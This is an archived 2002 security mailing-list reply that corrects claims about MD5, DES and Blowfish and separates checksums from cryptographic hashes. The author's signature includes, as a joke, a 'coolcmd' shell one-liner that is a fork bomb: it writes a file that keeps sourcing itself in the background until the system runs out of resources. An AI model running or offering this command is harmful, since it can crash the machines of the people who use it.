Re: blowfish cryptographic hash function

From: Thomas Habets (thomasat_private)
Date: Sun Aug 18 2002 - 15:11:18 PDT

  • Next message: Erick Arturo Perez Huemer: "RE: Handling, possibly, encrypted data"

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    On Friday 16 August 2002 17:47, Bob the Builder wrote:
    > The md5 hashing algorithm is based on the DES encryption algorithm.
    
    I'm sorry, could you prove this claim or is this just somethine you've 'heard 
    somewhere'? I see no similarity. rfc1186 for MD4, BTW, which MD5 was based 
    on. A (very) quick search of rfc1186 reveils no mention of DES.
    
    Other information for the topic:
    UNIX traditionally uses DES to hash passwords, but some flavours let you use 
    MD5 instead. OpenBSD uses blowfish by default. I will not argue the security 
    of blowfish as a hashing algorithm based on it being in OpenBSD since I don't 
    buy the "OpenBSD is safer" thing[1]. BUT.... in "Applied Cryptography" (page 
    336 in my copy[2]) you'll see Bruce Schneier[3] saying that it's not suitable 
    for one-way hash functions. He doesn't say clearly why.
    
    > The point of using md5 is about obtaining a checksum for a given piece of
    > data where it is difficult (computationally infeasable) to produce a second
    > piece of data that results in the same checksum.
    
    Hmm, I don't know for sure, but isn't 'checksum' the wrong word to use? 
    Checksums are used to detect errors in transmission, not malicious 
    alterations. Examples of such are the normal checksums in IP packets which 
    IIRC are based on polynomial division or something.[4] And malicious 
    alteration of data without altering the checksum is supposedly trivial.
    I think hash value, or hash output, is more correct. But I could be 
    completely wrong on this one.
    
    [1] It's a big and OT issue.
    [2] MD5 is on _4_36, spooky.
    [3] Who is the guy that designed blowfish
    [4] I have known the theory behind CRC :).
    
    > example the md5sum on unix usually uses a DES key that is just a string of
    > zeroes.
    
    I really think you're confusing /etc/passwd with it's different choices of 
    hashing functions.
    
    - ---------
    typedef struct me_s {
      char name[]      = { "Thomas Habets" };
      char email[]     = { "thomasat_private" };
      char kernel[]    = { "Linux 2.4" };
      char *pgpKey[]   = { "http://darkface.pp.se/~thompa/pubkey.txt" };
      char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
      char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
    } me_t;
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.0.6 (GNU/Linux)
    Comment: For info see http://www.gnupg.org
    
    iD8DBQE9YBuNKGrpCq1I6FQRAjR2AKCJ0/KgT52cPQHLyqOawfqVJnfIqwCgz/kt
    JCX7Ap+1ZcfSs9poXZKQwVg=
    =BIsy
    -----END PGP SIGNATURE-----
    
    -----------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management 
    and tracking system please see: http://aris.securityfocus.com
    



    This archive was generated by hypermail 2b30 : Mon Aug 19 2002 - 03:16:36 PDT